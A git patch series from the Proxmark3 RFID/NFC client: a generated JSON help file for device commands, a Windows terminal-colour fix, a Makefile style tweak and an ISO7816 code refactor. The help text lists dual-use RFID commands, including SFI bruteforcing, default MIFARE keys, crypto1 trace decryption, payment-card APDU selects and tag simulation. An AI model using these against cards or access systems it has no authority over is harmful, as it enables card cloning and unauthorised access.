"mem spiffs view -f tag.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file spiffs file to view", + "-c, --cols column breaks (def 32)" + ], + "usage": "mem spiffs view [-h] -f [-c ]" + }, + "mem spiffs wipe": { + "command": "mem spiffs wipe", + "description": "* * * warning * * * this command wipes all files on the device spiffs file system", + "notes": [ + "mem spiffs wipe" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs wipe [-h]" + }, + "mem wipe": { + "command": "mem wipe", + "description": "wipe flash memory on device, which fills it with 0xff [ !!! obs ] use with caution", + "notes": [ + "mem wipe -p 0 -> wipes first page" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p 0,1,2 page memory" + ], + "usage": "mem wipe [-h] [-p ]" + }, + "msleep": { + "command": "msleep", + "description": "sleep for given amount of milliseconds", + "notes": [ + "msleep 100" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-t, --ms time in milliseconds" + ], + "usage": "msleep [-h] [-t ]" + }, + "nfc barcode help": { + "command": "nfc barcode help", + "description": "-------- ------------------ nfc barcode -------------------- -------- --------------------- general --------------------- help this help ======================================================================================= reveng { crc calculations from reveng software... } [=] reveng: no mode switch specified. use reveng -h for help. ======================================================================================= smart { smart card iso-7816 commands... } --------------------------------------------------------------------------------------- smart help available offline: yes help this help list list iso 7816 history upgrade upgrade sim module firmware --------------------------------------------------------------------------------------- smart list available offline: yes alias of `trace list -t 7816` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "smart list -f -> show frame delay times", + "smart list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "smart list [-h1fcrux] [--dict ]..." + }, + "nfc barcode sim": { + "command": "nfc barcode sim", + "description": "simulate thinfilm tag", + "notes": [ + "hf thinfilm sim -d b70470726f786d61726b2e636f6d" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data bytes to send", + "--raw raw, provided bytes should include crc" + ], + "usage": "hf thinfilm sim [-h] -d [--raw]" + }, + "nfc help": { + "command": "nfc help", + "description": "-------- --------------------- nfc tags -------------------- type1 { nfc forum tag type 1... } type2 { nfc forum tag type 2... } type4a { nfc forum tag type 4 iso14443a... } type4b { nfc forum tag type 4 iso14443b... } mf { nfc type mifare classic/plus tag... } barcode { nfc barcode tag... } -------- --------------------- general --------------------- help this help decode decode ndef records --------------------------------------------------------------------------------------- nfc decode available offline: yes decode and print nfc data exchange format (ndef)", + "notes": [ + "nfc decode -d 9101085402656e48656c6c6f5101085402656e576f726c64", + "nfc decode -d 0103d020240203e02c040300fe" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data ndef data to decode", + "-v, --verbose verbose mode" + ], + "usage": "nfc decode [-hv] [-d ]..." + }, + "nfc mf help": { + "command": "nfc mf help", + "description": "-------- --------- nfc type mifare classic/plus tag -------- -------- --------------------- general --------------------- help this help ======================================================================================= nfc barcode { nfc barcode tag... } --------------------------------------------------------------------------------------- nfc barcode read available offline: no get info from thinfilm tags", + "notes": [ + "hf thinfilm info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf thinfilm info [-h]" + }, + "nfc mf pread": { + "command": "nfc mf pread", + "description": "prints nfc data exchange format (ndef)", + "notes": [ + "hf mfp ndefread -> shows ndef data", + "hf mfp ndefread -vv -> shows ndef parsed and raw data", + "hf mfp ndefread -a e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> shows ndef data with custom aid and key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid replace default aid for ndef", + "-k, --key replace default key for ndef", + "-b, --keyb use key b for access sectors (by default: key a)" + ], + "usage": "hf mfp ndefread [-hvb] [--aid ] [-k ]" + }, + "nfc type1 help": { + "command": "nfc type1 help", + "description": "-------- -------------- nfc forum tag type 1 --------------- -------- --------------------- general --------------------- help this help ======================================================================================= nfc type2 { nfc forum tag type 2... } --------------------------------------------------------------------------------------- nfc type2 read available offline: no prints nfc data exchange format (ndef)", + "notes": [ + "hf mfu ndefread -> shows ndef data", + "hf mfu ndefread -k ffffffff -> shows ndef data with key" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-l swap entered key's endianness" + ], + "usage": "hf mfu ndefread [-hl] [-k replace default key for ndef]" + }, + "nfc type1 read": { + "command": "nfc type1 read", + "description": "get info from topaz tags", + "notes": [ + "hf topaz info" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose output" + ], + "usage": "hf topaz info [-hv]" + }, + "nfc type2 help": { + "command": "nfc type2 help", + "description": "-------- -------------- nfc forum tag type 2 --------------- -------- --------------------- general --------------------- help this help ======================================================================================= nfc type4a { nfc forum tag type 4 iso14443a... } --------------------------------------------------------------------------------------- nfc type4a read available offline: no read nfc data exchange format (ndef) file on type 4 ndef tag", + "notes": [ + "hf 14a ndefread" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14a ndefread [-h]" + }, + "nfc type4a help": { + "command": "nfc type4a help", + "description": "-------- --------- nfc forum tag type 4 iso14443a ---------- -------- --------------------- general --------------------- help this help ======================================================================================= nfc type4b { nfc forum tag type 4 iso14443b... } --------------------------------------------------------------------------------------- nfc type4b read available offline: no print nfc data exchange format (ndef)", + "notes": [ + "hf 14b ndefread" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14b ndefread [-h]" + }, + "nfc type4a st25taread": { + "command": "nfc type4a st25taread", + "description": "read nfc data exchange format (ndef) file on st25ta", + "notes": [ + "hf st25ta ndefread -p 82e80053d4ca5c0b656d852cc696c8a1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd 16 byte read password" + ], + "usage": "hf st25ta ndefread [-h] [-p ]" + }, + "nfc type4b help": { + "command": "nfc type4b help", + "description": "-------- --------- nfc forum tag type 4 iso14443b ------------- -------- --------------------- general --------------------- help this help ======================================================================================= nfc mf { nfc type mifare classic/plus tag... } --------------------------------------------------------------------------------------- nfc mf cread available offline: no prints nfc data exchange format (ndef)", + "notes": [ + "hf mf ndefread -> shows ndef parsed data", + "hf mf ndefread -vv -> shows ndef parsed and raw data", + "hf mf ndefread --aid e103 -k ffffffffffff -b -> shows ndef data with custom aid, key and with key b" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-v, --verbose show technical data", + "--aid replace default aid for ndef", + "-k, --key replace default key for ndef", + "-b, --keyb use key b for access sectors (by default: key a)" + ], + "usage": "hf mf ndefread [-hvb] [--aid ] [-k ]" + }, + "prefs get barmode": { + "command": "prefs get barmode", + "description": "get preference of hf/lf tune command styled output in the client", + "notes": [ + "prefs get barmode" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get barmode [-h]" + }, + "prefs get clientdebug": { + "command": "prefs get clientdebug", + "description": "get preference of using clientside debug level", + "notes": [ + "prefs get clientdebug" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get clientdebug [-h]" + }, + "prefs get color": { + "command": "prefs get color", + "description": "get preference of using colors in the client", + "notes": [ + "prefs get color" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get color [-h]" + }, + "prefs get emoji": { + "command": "prefs get emoji", + "description": "get preference of using emojis in the client", + "notes": [ + "prefs get emoji" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get emoji [-h]" + }, + "prefs get hints": { + "command": "prefs get hints", + "description": "get preference of showing hint messages in the client", + "notes": [ + "prefs get hints" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get hints [-h]" + }, + "prefs get plotsliders": { + "command": "prefs get plotsliders", + "description": "get preference of showing the plotslider control in the client", + "notes": [ + "prefs get plotsliders" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get plotsliders [-h]" + }, + "prefs get savepaths": { + "command": "prefs get savepaths", + "description": "get preference of file paths in the client", + "notes": [ + "prefs get savepaths" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs get savepaths [-h]" + }, + "prefs help": { + "command": "prefs help", + "description": "help this help get { get a preference } set { set a preference } show show all preferences --------------------------------------------------------------------------------------- prefs show available offline: yes show all persistent preferences", + "notes": [ + "prefs show" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "prefs show [-h]" + }, + "prefs set clientdebug": { + "command": "prefs set clientdebug", + "description": "set presistent preference of using clientside debug level", + "notes": [ + "prefs set clientdebug --simple" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--off no debug messages", + "--simple simple debug messages", + "--full full debug messages" + ], + "usage": "prefs set clientdebug [-h] [--off] [--simple] [--full]" + }, + "prefs set color": { + "command": "prefs set color", + "description": "set presistent preference of using colors in the client", + "notes": [ + "prefs set color --ansi" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--ansi use ansi colors", + "--off don't use colors" + ], + "usage": "prefs set color [-h] [--ansi] [--off]" + }, + "prefs set emoji": { + "command": "prefs set emoji", + "description": "set presistent preference of using emojis in the client", + "notes": [ + "prefs set emoji --alias" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--alias show alias for emoji", + "--emoji show emoji", + "--alttext show alt text for emoji", + "--none don't show emoji or text" + ], + "usage": "prefs set emoji [-h] [--alias] [--emoji] [--alttext] [--none]" + }, + "prefs set help": { + "command": "prefs set help", + "description": "help this help barmode set bar mode clientdebug set client debug level color set color support emoji set emoji display hints set hint display savepaths ... to be adjusted next ... plotsliders set plot slider display --------------------------------------------------------------------------------------- prefs set barmode available offline: yes set presistent preference of hf/lf tune command styled output in the client", + "notes": [ + "prefs set barmode --mix" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--bar measured values as bar only", + "--mix measured values as numbers and bar", + "--val measured values only" + ], + "usage": "prefs set barmode [-h] [--bar] [--mix] [--val]" + }, + "prefs set hints": { + "command": "prefs set hints", + "description": "set presistent preference of showing hint messages in the client", + "notes": [ + "prefs set hints --on" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--off hide hints", + "--on show hints" + ], + "usage": "prefs set hints [-h] [--off] [--on]" + }, + "prefs set plotsliders": { + "command": "prefs set plotsliders", + "description": "set presistent preference of showing the plotslider control in the client", + "notes": [ + "prefs set plotsliders --on" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--off hide plot slider controls", + "--on show plot slider controls" + ], + "usage": "prefs set plotsliders [-h] [--off] [--on]" + }, + "prefs set savepaths": { + "command": "prefs set savepaths", + "description": "set presistent preference of file paths in the client", + "notes": [ + "prefs set savepaths --dump /home/mydumpfolder -> all dump files will be saved into this folder", + "prefs set savepaths --def /home/myfolder -c -> create if needed, all files will be saved into this folder" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-c, --create create directory if it does not exist", + "--def default path", + "--dump dump file path", + "--trace trace path" + ], + "usage": "prefs set savepaths [-hc] [--def ] [--dump ] [--trace ]" + }, + "quit": { + "command": "quit", + "description": "quit the proxmark3 client terminal", + "notes": [ + "quit" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "quit [-h]" + }, + "rem": { + "command": "rem", + "description": "add a text line in log file", + "notes": [ + "rem my message -> adds a timestamp with `my message`" + ], + "offline": true, + "options": [ + "-h, --help this help", + " message line you want inserted" + ], + "usage": "rem [-h] []..." + }, + "script help": { + "command": "script help", + "description": "this is a feature to run lua/cmd/python scripts. you can place scripts within the luascripts/cmdscripts/pyscripts folders. --------------------------------------------------------------------------------------- script list available offline: yes list available lua, cmd and python scripts", + "notes": [ + "script list" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "script list [-h]" + }, + "script run": { + "command": "script run", + "description": "run a lua, cmd or python script. if no extension it will search for lua/cmd/py extensions use `script list` to see available scripts", + "notes": [ + "script run my_script -h" + ], + "offline": true, + "options": [ + "-h, --help this help", + " name of script to run", + " script parameters" + ], + "usage": "script run [-h] []..." + }, + "smart brute": { + "command": "smart brute", + "description": "tries to bruteforce sfi, using a known list of aid's", + "notes": [ + "smart brute -t" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --tlv executes tlv decoder if it possible" + ], + "usage": "smart brute [-ht]" + }, + "smart info": { + "command": "smart info", + "description": "extract more detailed information from smart card.", + "notes": [ + "smart info -v" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose" + ], + "usage": "smart info [-hv]" + }, + "smart raw": { + "command": "smart raw", + "description": "sends raw bytes to card", + "notes": [ + "smart raw -s -0 -d 00a404000e315041592e5359532e4444463031 -> `1pay.sys.ddf01` ppse directory with get atr", + "smart raw -0 -d 00a404000e325041592e5359532e4444463031 -> `2pay.sys.ddf01` ppse directory", + "smart raw -0 -t -d 00a4040007a0000000041010 -> mastercard", + "smart raw -0 -t -d 00a4040007a0000000031010 -> visa" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r do not read response", + "-a active smartcard without select (reset sc module)", + "-s active smartcard with select (get atr)", + "-t, --tlv executes tlv decoder if it possible", + "-0 use protocol t=0", + "-d, --data bytes to send" + ], + "usage": "smart raw [-hrast0] -d " + }, + "smart reader": { + "command": "smart reader", + "description": "act as a smart card reader.", + "notes": [ + "smart reader" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose" + ], + "usage": "smart reader [-hv]" + }, + "smart setclock": { + "command": "smart setclock", + "description": "set clock speed for smart card interface.", + "notes": [ + "smart setclock --4mhz", + "smart setclock --16mhz" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--16mhz 16 mhz clock speed", + "--8mhz 8 mhz clock speed", + "--4mhz 4 mhz clock speed" + ], + "usage": "smart setclock [-h] [--16mhz] [--8mhz] [--4mhz]" + }, + "smart upgrade": { + "command": "smart upgrade", + "description": "[=] ------------------------------------------------------------------- [!] warning - sim module firmware upgrade [!] a dangerous command, do wrong and you could brick the sim module [=] ------------------------------------------------------------------- upgrade rdv4.0 sim module firmware", + "notes": [ + "smart upgrade -f sim011.bin" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file firmware file name" + ], + "usage": "smart upgrade [-h] -f " + }, + "trace help": { + "command": "trace help", + "description": "help this help list list protocol data in trace buffer load load trace from file save save trace buffer to file --------------------------------------------------------------------------------------- trace list available offline: yes annotate trace buffer with selected protocol data you can load a trace from file (see `trace load -h`) or it be downloaded from device by default", + "notes": [ + "trace list -t raw -> just show raw data without annotations", + "trace list -t 14a -> interpret as iso14443-a communications", + "trace list -t thinfilm -> interpret as thinfilm communications", + "trace list -t topaz -> interpret as topaz communications", + "trace list -t mf -> interpret as mifare classic communications and decrypt crypto1 stream", + "trace list -t des -> interpret as mifare desfire communications", + "trace list -t 14b -> interpret as iso14443-b communications", + "trace list -t 7816 -> interpret as iso7816-4 communications", + "trace list -t 15 -> interpret as iso15693 communications", + "trace list -t iclass -> interpret as iclass communications", + "trace list -t legic -> interpret as legic communications", + "trace list -t felica -> interpret as iso18092 / felica communications", + "trace list -t hitag1 -> interpret as hitag1 communications", + "trace list -t hitag2 -> interpret as hitag2 communications", + "trace list -t hitags -> interpret as hitags communications", + "trace list -t lto -> interpret as lto-cm communications", + "trace list -t cryptorf -> interpret as cryptorf communitcations", + "trace list -t mf --dict -> use dictionary keys file", + "trace list -t 14a -f -> show frame delay times", + "trace list -t 14a -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "-t, --type protocol to annotate the trace", + "--dict use dictionary keys file" + ], + "usage": "trace list [-h1fcrux] [-t ]... [--dict ]..." + }, + "trace load": { + "command": "trace load", + "description": "load protocol data from binary file to trace buffer file extension is <.trace>", + "notes": [ + "trace load -f mytracefile -> w/o file extension" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file trace file to load" + ], + "usage": "trace load [-h] [-f ]..." + }, + "trace save": { + "command": "trace save", + "description": "save protocol data from trace buffer to binary file file extension is <.trace>", + "notes": [ + "trace save -f mytracefile -> w/o file extension" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file trace file to save" + ], + "usage": "trace save [-h] [-f ]..." + }, + "usart btfactory": { + "command": "usart btfactory", + "description": "reset bt add-on to factory settings this requires 1) btpower to be turned on 2) bt add-on to not be connected => the add-on blue led must blink warning: process only if strictly needed!", + "notes": [ + "usart btfactory" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "usart btfactory [-h]" + }, + "usart config": { + "command": "usart config", + "description": "configure usart. warning: it will have side-effects if used in usart host mode! the changes are not permanent, restart proxmark3 to get default settings back.", + "notes": [ + "usart config -b 9600", + "usart config -b 9600 --none", + "usart config -e" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --baud baudrate", + "-n, --none mone parity", + "-e, --even even parity", + "-o, --odd odd parity" + ], + "usage": "usart config [-hneo] [-b ]" + }, + "usart help": { + "command": "usart help", + "description": "help this help --------------------------------------------------------------------------------------- usart btpin available offline: no change bt add-on pin. warning: this requires 1) btpower to be turned on 2) bt add-on to not be connected => the add-on blue led must blink", + "notes": [ + "usart btpin -p 1234" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-p, --pin desired pin number (4 digits)" + ], + "usage": "usart btpin [-h] -p " + }, + "usart rx": { + "command": "usart rx", + "description": "receive string over usart. warning: it will have side-effects if used in usart host mode!", + "notes": [ + "usart rx -t 2000 -> 2 second timeout" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --timeout timeout in ms, default is 0ms" + ], + "usage": "usart rx [-h] [-t ]" + }, + "usart rxhex": { + "command": "usart rxhex", + "description": "receive bytes over usart. warning: it will have side-effects if used in usart host mode!", + "notes": [ + "usart rxhex -t 2000 -> 2 second timeout" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --timeout timeout in ms, default is 0ms" + ], + "usage": "usart rxhex [-h] [-t ]" + }, + "usart tx": { + "command": "usart tx", + "description": "send string over usart. warning: it will have side-effects if used in usart host mode!", + "notes": [ + "usart tx -d \"at+version\"", + "usart tx -d \"at+version\\r\\n\"" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data string to send" + ], + "usage": "usart tx [-h] -d " + }, + "usart txhex": { + "command": "usart txhex", + "description": "send bytes over usart. warning: it will have side-effects if used in usart host mode!", + "notes": [ + "usart txhex -d 504d33620a80000000010100f09f988ef09fa5b36233" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data bytes to send" + ], + "usage": "usart txhex [-h] -d " + }, + "usart txrx": { + "command": "usart txrx", + "description": "send string over usart and wait for response. warning: if used in usart host mode, you can only send at commands to add-on when bt connection is not established (led needs to be blinking) any other usage in usart host mode will have side-effects!", + "notes": [ + "usart txrx -d \"at+version\" -> talking to bt add-on (when no connection)", + "usart txrx -t 2000 -d \"at+somestuff\\r\\n\" -> talking to a target requiring longer time and end-of-line chars" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --timeout timeout in ms, default is 1000 ms", + "-d, --data string to send" + ], + "usage": "usart txrx [-h] [-t ] -d " + }, + "wiegand decode": { + "command": "wiegand decode", + "description": "decode raw hex or binary to wiegand format", + "notes": [ + "wiegand decode --raw 2006f623ae" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-r, --raw raw hex to be decoded", + "-b, --bin binary string to be decoded" + ], + "usage": "wiegand decode [-h] [-r ]... [-b ]" + }, + "wiegand encode": { + "command": "wiegand encode", + "description": "encode wiegand formatted number to raw hex", + "notes": [ + "wiegand encode --fc 101 --cn 1337 -> show all formats", + "wiegand encode -w h10301 --fc 101 --cn 1337 -> h10301 format" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--fc facility number", + "--cn card number", + "--issue issue level", + "--oem oem code", + "-w, --wiegand see `wiegand list` for available formats", + "--pre add hid proxii preamble to wiegand output" + ], + "usage": "wiegand encode [-h] [--fc ] --cn [--issue ] [--oem ] [-w ] [--pre]" + }, + "wiegand help": { + "command": "wiegand help", + "description": "help this help list list available wiegand formats encode encode to wiegand raw hex (currently for hid prox) decode convert raw hex to decoded wiegand format (currently for hid prox) --------------------------------------------------------------------------------------- wiegand list available offline: yes list available wiegand formats", + "notes": [ + "wiegand list" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "wiegand info [-h]" + } + }, + "metadata": { + "commands_extracted": 564, + "extracted_by": "PM3Help2JSON v1.00", + "extracted_on": "2021-05-31T12:35:04" + } +} \ No newline at end of file From ed69517252e6d9c51125a6d567683e0b47262fc4 Mon Sep 17 00:00:00 2001 From: Gator96100 Date: Tue, 1 Jun 2021 16:05:28 +0200 Subject: [PATCH 07/77] Windows: fixed buffer resize causes no colors --- client/src/proxmark3.c | 51 +++++++++++++++++++++++++----------------- 1 file changed, 31 insertions(+), 20 deletions(-) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index f9dd52f5b..8d81a0959 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -171,6 +171,30 @@ static void terminate_handler(int signum) { #endif +#if defined(_WIN32) +static bool DetectWindowsAnsiSupport(void) { +#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING +#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004 +#endif + + // disable colors if stdin or stdout are redirected + if ((! session.stdinOnTTY) || (! session.stdoutOnTTY)) + return false; + + HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); + DWORD dwMode = 0; + GetConsoleMode(hOut, &dwMode); + + //ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set + if((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) + return true; + + dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; + + return SetConsoleMode(hOut, dwMode) ? true : false; +} +#endif //_WIN32 + // first slot is always NULL, indicating absence of script when idx=0 static FILE *cmdscriptfile[MAX_NESTED_CMDSCRIPT + 1] = {0}; static uint8_t cmdscriptfile_idx = 0; @@ -360,6 +384,10 @@ check_script: g_pendingPrompt = true; #ifdef HAVE_READLINE script_cmd = readline(prompt_filtered); +#if defined(_WIN32) + //Check if color support needs to be enabled again in case the window buffer did change + session.supports_colors = DetectWindowsAnsiSupport(); +#endif if (script_cmd != NULL) { execCommand = true; stayInCommandLoop = true; @@ -705,21 +733,6 @@ finish2: } #endif //LIBPM3 -#if defined(_WIN32) -static bool DetectWindowsAnsiSupport(void) { -#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING -#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004 -#endif - - HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); - DWORD dwMode = 0; - GetConsoleMode(hOut, &dwMode); - dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; - - return SetConsoleMode(hOut, dwMode) ? true : false; -} -#endif //_WIN32 - void pm3_init(void) { srand(time(0)); @@ -783,6 +796,9 @@ int main(int argc, char *argv[]) { #if defined(__linux__) || defined(__APPLE__) session.supports_colors = true; session.emoji_mode = EMO_EMOJI; +#elif defined(_WIN32) + session.supports_colors = DetectWindowsAnsiSupport(); + session.emoji_mode = EMO_ALTTEXT; #endif } for (int i = 1; i < argc; i++) { @@ -996,11 +1012,6 @@ int main(int argc, char *argv[]) { session.emoji_mode = EMO_ALTTEXT; } -#if defined(_WIN32) //Color support on Windows has to be enabled each time and can fail, override prefs - session.supports_colors = DetectWindowsAnsiSupport(); - session.emoji_mode = EMO_ALTTEXT; -#endif - // Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway if (speed == 0) speed = USART_BAUD_RATE; From 2f031ef5c38489ff3192a8d28689c055a72a0220 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 21:52:17 +0200 Subject: [PATCH 08/77] adjust make style --- Makefile | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index 118e5acd3..5801d4507 100644 --- a/Makefile +++ b/Makefile @@ -251,13 +251,13 @@ print-%: ; @echo $* = $($*) style: # Make sure astyle is installed @which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 ) - # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v - find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \ + # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3 + find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ -exec perl -pi -e 's/[ \t]+$$//' {} \; \ -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ -exec sh -c "echo >> {}" \; # Apply astyle on *.c, *.h, *.cpp - find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ + find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ --indent=spaces=4 --indent-switches \ --keep-one-line-blocks --max-instatement-indent=60 \ --style=google --pad-oper --unpad-paren --pad-header \ From 11334f9440cf8fd7e7403f88712c60a1f4014dfa Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 30 May 2021 18:56:33 +0200 Subject: [PATCH 09/77] Isolate ISO7816 select & exchange from EMVcore --- client/CMakeLists.txt | 3 +- client/Makefile | 3 +- client/android/CMakeLists.txt | 3 +- client/experimental_lib/CMakeLists.txt | 3 +- client/src/cmdhf14a.c | 5 +- client/src/cmdhf14b.c | 2 +- client/src/cmdhfemrtd.c | 2 +- client/src/cmdhffido.c | 2 +- client/src/cmdhfmfdes.c | 4 +- client/src/cmdhfseos.c | 2 +- client/src/cmdhfst25ta.c | 2 +- client/src/comms.h | 2 +- client/src/emv/cmdemv.c | 64 ++++++------- client/src/emv/emvcore.c | 127 +++++++------------------ client/src/emv/emvcore.h | 42 +++----- client/src/fido/fidocore.c | 8 +- client/src/fido/fidocore.h | 2 +- client/src/{emv => iso7816}/apduinfo.c | 0 client/src/{emv => iso7816}/apduinfo.h | 0 client/src/iso7816/iso7816core.c | 108 +++++++++++++++++++++ client/src/iso7816/iso7816core.h | 37 +++++++ 21 files changed, 247 insertions(+), 174 deletions(-) rename client/src/{emv => iso7816}/apduinfo.c (100%) rename client/src/{emv => iso7816}/apduinfo.h (100%) create mode 100644 client/src/iso7816/iso7816core.c create mode 100644 client/src/iso7816/iso7816core.h diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 8ff5f414c..28edf7c2b 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -193,7 +193,6 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c - ${PM3_ROOT}/client/src/emv/apduinfo.c ${PM3_ROOT}/client/src/emv/cmdemv.c ${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c @@ -210,6 +209,8 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/fidocore.c + ${PM3_ROOT}/client/src/iso7816/apduinfo.c + ${PM3_ROOT}/client/src/iso7816/iso7816core.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/elite_crack.c diff --git a/client/Makefile b/client/Makefile index be523d48a..696b48f40 100644 --- a/client/Makefile +++ b/client/Makefile @@ -535,7 +535,6 @@ SRCS = aiddesfire.c \ crypto/asn1dump.c \ crypto/asn1utils.c\ crypto/libpcrypto.c\ - emv/apduinfo.c \ emv/cmdemv.c \ emv/crypto.c\ emv/crypto_polarssl.c\ @@ -562,6 +561,8 @@ SRCS = aiddesfire.c \ generator.c \ graph.c \ jansson_path.c \ + iso7816/apduinfo.c \ + iso7816/iso7816core.c \ loclass/cipher.c \ loclass/cipherutils.c \ loclass/elite_crack.c \ diff --git a/client/android/CMakeLists.txt b/client/android/CMakeLists.txt index f41d11fb5..262403be7 100644 --- a/client/android/CMakeLists.txt +++ b/client/android/CMakeLists.txt @@ -61,7 +61,6 @@ add_library(pm3rrg_rdv4 SHARED ${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c - ${PM3_ROOT}/client/src/emv/apduinfo.c ${PM3_ROOT}/client/src/emv/cmdemv.c 